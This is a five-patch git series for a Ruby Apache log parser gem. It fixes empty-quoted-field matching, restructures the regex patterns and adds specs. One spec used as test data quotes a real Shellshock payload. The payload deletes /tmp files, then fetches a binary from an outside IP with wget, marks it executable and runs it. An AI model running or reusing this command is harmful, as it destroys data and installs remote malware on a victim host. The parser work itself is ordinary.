From 61fd5166a3d43efd149e1c6d15806c8f907c3d45 Mon Sep 17 00:00:00 2001 From: Lissa Moriarty Date: Wed, 29 Nov 2023 16:28:38 +0000 Subject: [PATCH 1/5] Fix parsing lines with empty quoted strings Otherwise, "" doesn't match as it doesn't contain at least one non-backslash character before the closing quote. --- lib/apache_log/parser.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/apache_log/parser.rb b/lib/apache_log/parser.rb index c9dcc6f..caf2245 100644 --- a/lib/apache_log/parser.rb +++ b/lib/apache_log/parser.rb @@ -7,7 +7,7 @@ class Parser COMBINED_FIELDS = COMMON_FIELDS + %w(referer user_agent) COMMON_PATTERN = '(?:^|\s)((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))\s+(\S+)\s+(\S+)\s+\[(\d{2}\/.*\d{4}:\d{2}:\d{2}:\d{2}\s.*)\]\s+"(.*?)"\s+(\S+)\s+(\S+)' - COMBINED_PATTERN = COMMON_PATTERN + '\s+"(.*?[^\\\\])"\s+"(.*?[^\\\\])"' + COMBINED_PATTERN = COMMON_PATTERN + '\s+"(.*?[^\\\\]|)"\s+"(.*?[^\\\\]|)"' ADDITIONAL_PATTERN = '\s+"?([^"]*)"?' def initialize(format, additional_fields=[]) From 6dcde809e672ec1d862384fe9a25a05fc4c63455 Mon Sep 17 00:00:00 2001 From: Lissa Moriarty Date: Wed, 29 Nov 2023 16:34:56 +0000 Subject: [PATCH 2/5] Update spec Also permit new bundler --- apache_log-parser.gemspec | 2 +- spec/apache_log/parser_spec.rb | 20 ++++++++++++++++++++ 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/apache_log-parser.gemspec b/apache_log-parser.gemspec index 62fb62b..2feeedf 100644 --- a/apache_log-parser.gemspec +++ b/apache_log-parser.gemspec @@ -18,7 +18,7 @@ Gem::Specification.new do |spec| spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) spec.require_paths = ["lib"] - spec.add_development_dependency "bundler", "~> 1.6" + spec.add_development_dependency "bundler", "> 1.6" spec.add_development_dependency "rake" spec.add_development_dependency "rspec" end diff --git a/spec/apache_log/parser_spec.rb b/spec/apache_log/parser_spec.rb index c7e02c4..0d9fe80 100644 --- a/spec/apache_log/parser_spec.rb +++ b/spec/apache_log/parser_spec.rb @@ -54,6 +54,26 @@ expect(entity).to eq(expect) end + it 'can parse combined log with blank referer' do + line = '192.168.0.1 - - [07/Feb/2011:10:59:59 +0900] "GET /x/i.cgi/net/0000/ HTTP/1.1" 200 9891 "" "DoCoMo/2.0 P03B(c500;TB;W24H16)"'; + parser = ApacheLog::Parser.new('combined') + entity = parser.parse(line.chomp) + expect = {remote_host: '192.168.0.1', identity_check: '-', user:'-', datetime: DateTime.new(2011, 2, 7, 10, 59, 59, 0.375), + request: {method: 'GET', path: '/x/i.cgi/net/0000/', protocol: 'HTTP/1.1'}, status: '200', size: '9891', referer: '', + user_agent: 'DoCoMo/2.0 P03B(c500;TB;W24H16)'} + expect(entity).to eq(expect) + end + + it 'can parse combined log with blank user agent' do + line = '192.168.0.1 - - [07/Feb/2011:10:59:59 +0900] "GET /x/i.cgi/net/0000/ HTTP/1.1" 200 9891 "-" ""'; + parser = ApacheLog::Parser.new('combined') + entity = parser.parse(line.chomp) + expect = {remote_host: '192.168.0.1', identity_check: '-', user:'-', datetime: DateTime.new(2011, 2, 7, 10, 59, 59, 0.375), + request: {method: 'GET', path: '/x/i.cgi/net/0000/', protocol: 'HTTP/1.1'}, status: '200', size: '9891', referer: '-', + user_agent: ''} + expect(entity).to eq(expect) + end + it 'can parse attack log' do line = '121.207.230.74 - - [13/Apr/2015:08:21:54 +0900] "GET / HTTP/1.1" 200 2392 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-orwj >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-orwj >> /tmp/Run.sh;echo /tmp/China.Z-orwj >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-orwj >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-orwj >> /tmp/Run.sh;echo /tmp/China.Z-orwj >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""' parser = ApacheLog::Parser.new('combined') From 0d396630669ef20ea5c62be0be8480cae284c406 Mon Sep 17 00:00:00 2001 From: Lissa Moriarty Date: Wed, 29 Nov 2023 17:02:23 +0000 Subject: [PATCH 3/5] Encode field formats structurally This makes any future work / debugging easier --- lib/apache_log/parser.rb | 45 ++++++++++++++++++++++++---------------- 1 file changed, 27 insertions(+), 18 deletions(-) diff --git a/lib/apache_log/parser.rb b/lib/apache_log/parser.rb index caf2245..9125219 100644 --- a/lib/apache_log/parser.rb +++ b/lib/apache_log/parser.rb @@ -3,27 +3,38 @@ module ApacheLog class Parser - COMMON_FIELDS = %w(remote_host identity_check user datetime request status size) - COMBINED_FIELDS = COMMON_FIELDS + %w(referer user_agent) + COMMON_FIELDS = %i[remote_host identity_check user datetime request status size] + COMBINED_FIELDS = COMMON_FIELDS + %i[referer user_agent] + + BAREWORD = '(\S+)' + QUOTED = '"(.*?[^\\\\]|)"' + + PATTERNS = { + remote_host: '(?:^|\s)((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))', + identity_check: BAREWORD, + user: BAREWORD, + datetime: '\[(\d{2}\/.*\d{4}:\d{2}:\d{2}:\d{2}\s.*)\]', + request: QUOTED, + status: BAREWORD, + size: BAREWORD, + referer: QUOTED, + user_agent: QUOTED + } - COMMON_PATTERN = '(?:^|\s)((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))\s+(\S+)\s+(\S+)\s+\[(\d{2}\/.*\d{4}:\d{2}:\d{2}:\d{2}\s.*)\]\s+"(.*?)"\s+(\S+)\s+(\S+)' - COMBINED_PATTERN = COMMON_PATTERN + '\s+"(.*?[^\\\\]|)"\s+"(.*?[^\\\\]|)"' ADDITIONAL_PATTERN = '\s+"?([^"]*)"?' def initialize(format, additional_fields=[]) - additional_pattern = '' - additional_pattern << ADDITIONAL_PATTERN * additional_fields.size + additional_pattern = '' + (ADDITIONAL_PATTERN * additional_fields.size) - case format - when 'common' - @fields = COMMON_FIELDS + additional_fields - @pattern = /#{COMMON_PATTERN}#{additional_pattern}/ - when 'combined' - @fields = COMBINED_FIELDS + additional_fields - @pattern = /#{COMBINED_PATTERN}#{additional_pattern}/ - else - raise "format error\n no such format: <#{format}> \n" - end + base_fields = case format.to_s + when 'common' then COMMON_FIELDS + when 'combined' then COMBINED_FIELDS + else raise "format error\n no such format: <#{format}> \n" + end + + base_pattern = base_fields.map { |f| PATTERNS[f] }.join('\s+') + @fields = base_fields + additional_fields.map(&:to_sym) + @pattern = /#{base_pattern}#{additional_pattern}/ end def parse(line) @@ -38,8 +49,6 @@ def parse(line) def generate_hash(keys, values) keys.each.with_index(1).each_with_object({}) do |(key, i), hash| - key = key.to_sym - case key when :datetime hash[key] = to_datetime(values[i]) From f080e1b2c546c6613df3e2b51870a34f51c13cdc Mon Sep 17 00:00:00 2001 From: Lissa Moriarty Date: Wed, 29 Nov 2023 17:18:59 +0000 Subject: [PATCH 4/5] A little more formatting --- apache_log-parser.gemspec | 2 ++ lib/apache_log/parser.rb | 18 ++++++++---------- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/apache_log-parser.gemspec b/apache_log-parser.gemspec index 2feeedf..0c35faf 100644 --- a/apache_log-parser.gemspec +++ b/apache_log-parser.gemspec @@ -21,4 +21,6 @@ Gem::Specification.new do |spec| spec.add_development_dependency "bundler", "> 1.6" spec.add_development_dependency "rake" spec.add_development_dependency "rspec" + spec.add_development_dependency "rubocop" + spec.add_development_dependency "rubocop-rspec" end diff --git a/lib/apache_log/parser.rb b/lib/apache_log/parser.rb index 9125219..b1b254a 100644 --- a/lib/apache_log/parser.rb +++ b/lib/apache_log/parser.rb @@ -23,8 +23,8 @@ class Parser ADDITIONAL_PATTERN = '\s+"?([^"]*)"?' - def initialize(format, additional_fields=[]) - additional_pattern = '' + (ADDITIONAL_PATTERN * additional_fields.size) + def initialize(format, additional_fields = []) + additional_pattern = ADDITIONAL_PATTERN * additional_fields.size base_fields = case format.to_s when 'common' then COMMON_FIELDS @@ -33,6 +33,7 @@ def initialize(format, additional_fields=[]) end base_pattern = base_fields.map { |f| PATTERNS[f] }.join('\s+') + @fields = base_fields + additional_fields.map(&:to_sym) @pattern = /#{base_pattern}#{additional_pattern}/ end @@ -49,14 +50,11 @@ def parse(line) def generate_hash(keys, values) keys.each.with_index(1).each_with_object({}) do |(key, i), hash| - case key - when :datetime - hash[key] = to_datetime(values[i]) - when :request - hash[key] = parse_request(values[i]) - else - hash[key] = values[i] - end + hash[key] = case key + when :datetime then to_datetime(values[i]) + when :request then parse_request(values[i]) + else values[i] + end end end From 349d121d3178bb782eb4f639059ded6d3d5ff475 Mon Sep 17 00:00:00 2001 From: Lissa Moriarty Date: Wed, 29 Nov 2023 17:20:41 +0000 Subject: [PATCH 5/5] Move first non-capture group out of field definitions --- lib/apache_log/parser.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/apache_log/parser.rb b/lib/apache_log/parser.rb index b1b254a..16008aa 100644 --- a/lib/apache_log/parser.rb +++ b/lib/apache_log/parser.rb @@ -10,7 +10,7 @@ class Parser QUOTED = '"(.*?[^\\\\]|)"' PATTERNS = { - remote_host: '(?:^|\s)((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))', + remote_host: '((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))', identity_check: BAREWORD, user: BAREWORD, datetime: '\[(\d{2}\/.*\d{4}:\d{2}:\d{2}:\d{2}\s.*)\]', @@ -32,7 +32,7 @@ def initialize(format, additional_fields = []) else raise "format error\n no such format: <#{format}> \n" end - base_pattern = base_fields.map { |f| PATTERNS[f] }.join('\s+') + base_pattern = '(?:^|\s)' + base_fields.map { |f| PATTERNS[f] }.join('\s+') @fields = base_fields + additional_fields.map(&:to_sym) @pattern = /#{base_pattern}#{additional_pattern}/